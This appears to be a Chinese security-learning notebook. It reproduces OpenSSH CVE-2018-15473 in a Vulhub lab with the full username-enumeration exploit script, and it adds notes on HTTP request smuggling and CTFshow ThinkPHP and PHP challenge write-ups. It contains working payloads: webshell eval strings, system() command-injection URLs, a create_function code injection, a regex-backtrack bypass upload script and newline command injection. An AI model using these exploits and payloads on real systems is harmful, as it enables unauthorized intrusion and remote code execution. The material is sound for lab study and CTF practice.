CVE

CVE

在Vulhub上面的CVE复现,一份小记录

OpenSSH

CVE-2018-15473

漏洞内容:在OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,可以判断某个用户名是否存在于目标主机中

漏洞作用:我们用弱口令、爆破等方式进行尝试登录时,ssh需要的用户名和账户名不管是一致还是不一致,都会给我们一个登录延迟的假象,让我们以为可以登录成功,实则不管你的用户名是否是正确的,它都会让你输入密码,然后告诉你登录失败,因此我们必须知道对方用户准确的用户名,让我们在接下来不管是弱口令登录还是暴力破解方面都很有帮助

利用条件:OpenSSH 版本<7.7

漏洞复现:

  1. 进入docker更改密码,此处改为123456

  2. ssh连接docker,查看/etc/passwd文件来查看用户名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    sshd:x:74:74:Privilege-separated SSH:/usr/local/sbin/sshd:/sbin/nologin
    vulhub:x:1000:1000:,,,:/home/vulhub:/bin/bash
    example:x:1001:1001:,,,:/home/example:/bin/bash
  3. 测试exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    #!/usr/bin/env python
    # python2 exp.py --port SSH端口 --userList 用户名字典 IP
    ###########################################################################
    # ____ _____ _____ _ _ #
    # / __ \ / ____/ ____| | | | #
    # | | | |_ __ ___ _ __ | (___| (___ | |__| | #
    # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
    # | |__| | |_) | __/ | | |____) |___) | | | | #
    # \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
    # | | Username Enumeration #
    # |_| #
    # #
    ###########################################################################
    # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) #
    # Vulnerability: CVE-2018-15473 #
    # Affected Versions: OpenSSH version < 7.7 #
    # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT #
    # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit #
    # Email: Justin.Gardner@SynerComm.com #
    # Date: August 20, 2018 #
    ###########################################################################

    import argparse
    import logging
    import paramiko
    import multiprocessing
    import socket
    import string
    import sys
    import json
    from random import randint as rand
    from random import choice as choice
    # store function we will overwrite to malform the packet
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

    # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
    # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
    random_username_list = []
    # populate the list
    for i in range(3):
    user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
    random_username_list.append(user)

    # create custom exception
    class BadUsername(Exception):
    def __init__(self):
    pass

    # create malicious "add_boolean" function to malform packet
    def add_boolean(*args, **kwargs):
    pass

    # create function to call when username was invalid
    def call_error(*args, **kwargs):
    raise BadUsername()

    # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
    def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

    # create function to perform authentication with malformed packet and desired username
    def checkUsername(username, tried=0):
    sock = socket.socket()
    sock.connect((args.hostname, args.port))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
    transport.start_client()
    except paramiko.ssh_exception.SSHException:
    # server was likely flooded, retry up to 3 times
    transport.close()
    if tried < 4:
    tried += 1
    return checkUsername(username, tried)
    else:
    print('[-] Failed to negotiate SSH transport')
    try:
    transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
    return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
    return (username, True)
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")

    # function to test target system using the randomly generated usernames
    def checkVulnerable():
    vulnerable = True
    for user in random_username_list:
    result = checkUsername(user)
    if result[1]:
    vulnerable = False
    return vulnerable

    def exportJSON(results):
    data = {"Valid":[], "Invalid":[]}
    for result in results:
    if result[1] and result[0] not in data['Valid']:
    data['Valid'].append(result[0])
    elif not result[1] and result[0] not in data['Invalid']:
    data['Invalid'].append(result[0])
    return json.dumps(data)

    def exportCSV(results):
    final = "Username, Valid\n"
    for result in results:
    final += result[0]+", "+str(result[1])+"\n"
    return final

    def exportList(results):
    final = ""
    for result in results:
    if result[1]:
    final+=result[0]+" is a valid user!\n"
    else:
    final+=result[0]+" is not a valid user!\n"
    return final

    # assign functions to respective handlers
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

    # get rid of paramiko logging
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

    arg_parser = argparse.ArgumentParser()
    arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
    arg_parser.add_argument('--port', type=int, default=22, help="The target port")
    arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
    arg_parser.add_argument('--outputFile', type=str, help="The output file location")
    arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
    group = arg_parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--username', type=str, help="The single username to validate")
    group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
    args = arg_parser.parse_args()

    def main():
    sock = socket.socket()
    try:
    sock.connect((args.hostname, args.port))
    sock.close()
    except socket.error:
    print('[-] Connecting to host failed. Please check the specified host and port.')
    sys.exit(1)

    # first we run the function to check if host is vulnerable to this CVE
    if not checkVulnerable():
    # most probably the target host is either patched or running a version not affected by this CVE
    print("Target host most probably is not vulnerable or already patched, exiting...")
    sys.exit(0)
    elif args.username: #single username passed in
    result = checkUsername(args.username)
    if result[1]:
    print(result[0]+" is a valid user!")
    else:
    print(result[0]+" is not a valid user!")
    elif args.userList: #username list passed in
    try:
    f = open(args.userList)
    except IOError:
    print("[-] File doesn't exist or is unreadable.")
    sys.exit(3)
    usernames = map(str.strip, f.readlines())
    f.close()
    # map usernames to their respective threads
    pool = multiprocessing.Pool(args.threads)
    results = pool.map(checkUsername, usernames)
    try:
    if args.outputFile:
    outputFile = open(args.outputFile, "w")
    except IOError:
    print("[-] Cannot write to outputFile.")
    sys.exit(5)
    if args.outputFormat=='json':
    if args.outputFile:
    outputFile.writelines(exportJSON(results))
    outputFile.close()
    print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
    else:
    print(exportJSON(results))
    elif args.outputFormat=='csv':
    if args.outputFile:
    outputFile.writelines(exportCSV(results))
    outputFile.close()
    print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
    else:
    print(exportCSV(results))
    else:
    if args.outputFile:
    outputFile.writelines(exportList(results))
    outputFile.close()
    print("[+] Results successfully written to " + args.outputFile + " in List form.")
    else:
    print(exportList(results))
    else: # no usernames passed in
    print("[-] No usernames provided to check")
    sys.exit(4)

    if __name__ == '__main__':
    main()

    此处我们还需要一个用户名字典,可以自行构造,也可以用github上面一个开源项目SecLists,节约时间我们自行构造一个简短list,最终测试结果如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    admin is not a valid user!
    bin is a valid user!
    sys is a valid user!
    sync is a valid user!
    games is a valid user!
    man is a valid user!
    lp is a valid user!
    111 is not a valid user!
    1243 is not a valid user!
    sahdsa is not a valid user!
    jalba is not a valid user!
    dsa is not a valid user!
    fe is not a valid user!
    qf is not a valid user!
    ds is not a valid user!
    vc is not a valid user!
    dsshg is not a valid user!
    rsa is not a valid user!
    grdfsbvfgd is not a valid user!
    sb is not a valid user!
    fgd is not a valid user!
    s is not a valid user!
    bgfd is not a valid user!
    s is not a valid user!
    g is not a valid user!
    fds is not a valid user!
    g is not a valid user!
    fd is not a valid user!
    sgf is not a valid user!
    ds is not a valid user!
    g is not a valid user!
    fdsh is not a valid user!
    tr is not a valid user!
    wnbyrsbf is not a valid user!
    dgs is not a valid user!
    root is a valid user!

    显然漏洞存在,而当我们对高级版本的SSH进行测试时,exp失效

破破烂烂碎碎知识汇总

HTTP部分请求头

Transfer-Encoding

其中中有一类特定编码:chunked编码.该编码将实体分块传送并逐块标明长度,直到长度为0块表示传输结束, 这在实体长度未知时特别有用(比如由数据库动态产生的数据),该编码格式为

1
2
3
4
5
6
7
Transfer-Encoding: chunked\r\n
\r\n
16进制表示下一个分块的长度\r\n
要发送的数据\r\n
重复上列数据直到最终结尾使用一个空的数据块来表示内容结束
0\r\n
\r\n

HTTP请求走私

成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding
  • TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

攻击方式

  1. CL不为0的GET请求

    当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

    1
    2
    3
    4
    5
    6
    7
    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 44\r\n

    GET /secret HTTP/1.1\r\n
    Host: example.com\r\n
    \r\n

    这时前端对 Content-Length 头进行了处理,将后续伪造的GET请求传入了后端,而后端则没有处理,直接将下面的内容当做了又一个独立请求进行处理

  2. 双CL值不同的请求

    根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

    1
    2
    3
    4
    5
    6
    7
    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 8\r\n
    Content-Length: 7\r\n

    12345\r\n
    a

    这个例子中的a就会被带入到下一个请求中,使得下一个请求变成了

    1
    aGET / HTTP/1.1\r\n
  3. CL-TE

    指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 4\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    12\r\n
    aPOST / HTTP/1.1\r\n
    \r\n
    0\r\n
    \r\n

    此处前端只处理了 Content-Length 这一请求头而忽略了 Transfer-Encoding 请求头

  4. TE-TE

    指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-encoding: cow\r\n
    \r\n
    5c\r\n
    aPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 15\r\n
    \r\n
    x=1\r\n
    0\r\n
    \r\n

PHP session反序列化

CTFshowThinkPHP专题

ThinkPHP

一些ThinkPHP的基础知识:

  1. 关于ThinkPHP的模块化设计
  2. 关于ThinkPHP的闭包支持

569

知道模块化设计就很简单了

1
2
3
典型访问规则
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
/index.php/Admin/Login/ctfshowLogin

570

闭包路由,类似于将/后路径作为参数传入,设定闭包路由的文件在文件根目录/Common/Conf/config.php中

1
2
3
4
5
6
   'URL_ROUTER_ON'   => true, 
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)

一个明显的后门,payload如下

1
2
3
/index.php/ctfshow/assert/eval($_POST[1])
POST:
1=system('tac /*');

571

show方法导致的命令执行

渲染内容

如果你没有定义任何模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了,show方法的调用格式:

1
2
show('渲染内容'[,'字符编码'][,'输出类型'])例如,$this->show($content);
也可以指定编码和类型: $this->show($content, 'utf-8', 'text/xml');

那么我们去看看show方法到底执行了什么

1
2
3
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}

往下看调用的display方法

1
2
3
4
5
6
7
8
9
10
11
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

TMPL_ENGINE_TYPE=='php'时,关键就在这句话了include $templateFile:eval('?>'.$_content);此处的$_content我们是完全可控的,也就可以执行任意命令

而当TMPL_ENGINE_TYPE!='php'时,执行的Hook中的listen方法,然后执行exec方法,然后run方法,最后加载并包含一个缓存文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}
1
2
3
4
5
public function load($_filename,$vars=null){
if(!is_null($vars))
extract($vars, EXTR_OVERWRITE);
eval('?>'.$this->read($_filename));
}

最终payload

1
/index.php/Home/Index/index?n=<?php%20system(%27tac%20/*%27);?>

572

ThinkPHP日志文件

题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名

1
/Application/Runtime/Logs/Home/xx_xx_xx.log

扫出了这么个文件,发现似乎传参showctf可执行php代码,拿到flag

573

ThinkPHP 3.2.3sql注入漏洞

先写个可以调用内置sql查询的主页

1
2
3
4
5
6
7
8
class IndexController extends Controller {
public function index(){
$a=M('xxx'); //表名
$id=I('GET.id');
$b=$a->find($id);
var_dump($b);
}
}

在I方法中对输入的内容进行过滤,默认过滤器DEFAULT_FILTER是不会对单引号做过滤操作的,所以此处不用管,下面走think_filter方法,这里对一些敏感安全内容进行了过滤

1
2
3
4
5
6
7
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

OK,输入检查完毕,我们输入的内容进入到find方法中,这里的注释也对我们传入的参数做了详细的解释,下一步进一步跟踪_parseOptions方法,继续跟踪_parseType方法,该方法对内容类型进行解析

1
2
3
4
5
6
/**
* 查询数据
* @access public
* @param mixed $options 表达式参数
* @return mixed
*/
1
2
3
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
1
2
elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);

先放一个yu师傅的代码审计,以后再回来看

574

CTFshow大赛原题

680

post传入code=phpinfo();执行成功,查看被ban函数,无法执行命令,使用原生类查看文件

1
code=$a=new FilesystemIterator(".");var_dump ($a);

下载文件即可

681

抓包发现返回内容为sql语句

过滤了空格和引号,会被吞,尝试构造payload,发现#可用,\可用,构造语句||1#\此时执行语句为

1
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'

相当于判断username是否等于||1' or nickname = 这一字符串或一,结果永真,登录即可拿到flag

682

这辈子第一次碰到js代码审计,看呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
var c2n  = c =>{
if(c.length>1){
return 0
}

if(c.charCodeAt()>0x60 && c.charCodeAt()<0x67){
return c.charCodeAt()-0x57
}

if(parseInt(c)>0){
return parseInt(c)
}

return 0;
}

var s2n2su = s =>{
r=0
for (var i = s.length - 1; i >= 0; i--) {
r+=c2n(s[i])
}
return r
}

function test(){
var m=document.getElementById("message").value;
var e = 'error';
if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
return alert(e)
}
var start = m.substring(0,8);

if(start!=='ctfshow{'){
return alert(e);
}
if(m.substring(m.length,m.length-1)!=="}"){
return alert(e);
}
var s = m.substring(8,m.length-1)
if(s.length!==36){
return alert(e);
}
var k = s.split("-")
if(k.length!==5){
return alert(e)
}
if(s2n2su(k[0])!==63){
return alert(e)
}
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
return alert(e)
}

if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
return alert(e)
}



if(parseInt(k[1][0])!==(c2n('a')-1)){
return alert(e)
}

if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
return alert(e)
}

if(k[2][1]!=='e'){
return alert(e)
}

if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
return alert(e)
}


if(parseInt(k[3][0])!==(c2n('a')-1)){
return alert(e)
}

if(parseInt(k[3][1])!==parseInt(k[3][3])){
return alert(e)
}

if(parseInt(k[3][3])*2+c2n('a')!==0x12){
return alert(e)
}

if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
return alert(e)
}

if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
return alert(e)
}

alert('you are right')
}




const Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function (e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function (e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
},
_utf8_encode: function (e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
},
_utf8_decode: function (e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3
}
}
return t
}
}



function st3(srcString) {
if (!srcString) {
return '';
}

let BASE32CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let i = 0;
let index = 0;
let digit = 0;
let currByte;
let nextByte;
let retrunString = '';
srcString = Base64._utf8_encode(srcString);

for (let i = 0; i < srcString.length;) {
currByte = (srcString.charCodeAt(i) >= 0) ? srcString.charCodeAt(i)
: (srcString.charCodeAt(i) + 256);

if (index > 3) {
if ((i + 1) < srcString.length) {
nextByte = (srcString.charCodeAt(i + 1) >= 0)
? srcString.charCodeAt(i + 1)
: (srcString.charCodeAt(i + 1) + 256);
} else {
nextByte = 0;
}

digit = currByte & (0xFF >> index);
index = (index + 5) % 8;
digit <<= index;
digit |= (nextByte >> (8 - index));
i++;
} else {
digit = (currByte >> (8 - (index + 5))) & 0x1F;
index = (index + 5) % 8;

if (index == 0) {
i++;
}
}

retrunString = retrunString + BASE32CHAR.charAt(digit);
}
while((retrunString.length % 8) !== 0){
retrunString += "=";
}
return retrunString;
}

分析代码,要求flag符合下列条件

  1. 前八位为字符串ctfshow{,结尾为}
  2. flag经过sha256运算的结果为e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d
  3. 中间内容长度为36,有4个UUID分块-
  4. c2n函数的作用:将UUID中的内容转换为10进制数
  5. s2n2su函数的作用:将UUID中每一位的数字相加并返回最终的值
  6. 第一个UUID分段的UUID和值为63
  7. 第一个UUID分段的前四位经过sha256运算后的结果是c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400,结果为592b
  8. 第一个UUID分段后4位经过sha256运算后的结果是f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc,结果为9d77
  9. 第二个UUID分段是9dda
  10. 第三个UUID的第二位是e,并且剩余三位的连接后为430
  11. 第四个UUID为94a4
  12. 第五个UUID经过base32编码结果为GVSTMNDGGQ2DSOLBGUZA====

最终构造出flag

1
ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

顺便贴个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
import hashlib
from itertools import *
string="0123456789abcdef"
k=product(string,repeat=4)
for i in k:
aaa="".join(i)
out1 = hashlib.sha256(aaa.encode("utf-8")).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(aaa)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(aaa)

683

明显的弱类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
}

自动转换时xex会被转换为原始数字,int强制转换string时取到字母停止

1
payload:?秀=0.6e7

684

源码在此

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

变量$action要出现数字字母以外的字符,还要执行函数,使用\create_function,这里利用的是php环境中默认的namespace

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。

create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数。

用法:

1
string create_function ( $args, $code )

参数:该函数接受以下两个参数:

  • **$args:**它是一个字符串类型的函数参数。
  • **$code:**它是字符串类型的函数代码。

注意:通常,这些参数将作为单引号分隔的字符串传递。使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,将需要双引号来转义变量名,例如\ $avar。

返回值:此函数以字符串形式返回唯一的函数名称,否则,在错误时返回FALSE。

而对于create_function函数来说,实际执行的内容如下

1
function noname($args) { $code }

结尾我们使用}闭合,最终的payload如下

1
payload:?action=%5ccreate_function&arg=}system('tac /secret_you_never_know');/*

685

利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。

1
2
3
4
5
6
7
import requests
url="http://b826efef-6cde-4fa8-84d3-4cb699605ab2.challenge.ctf.show"
files={
'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
print(r.text)

686

无参RCE

1
2
payload:?code=system(current(getallheaders()));
X-Forwarded-Host: cat /secret_you_never_know

687

换行执行命令

1
payload:?ip=1%0atac /flaaag

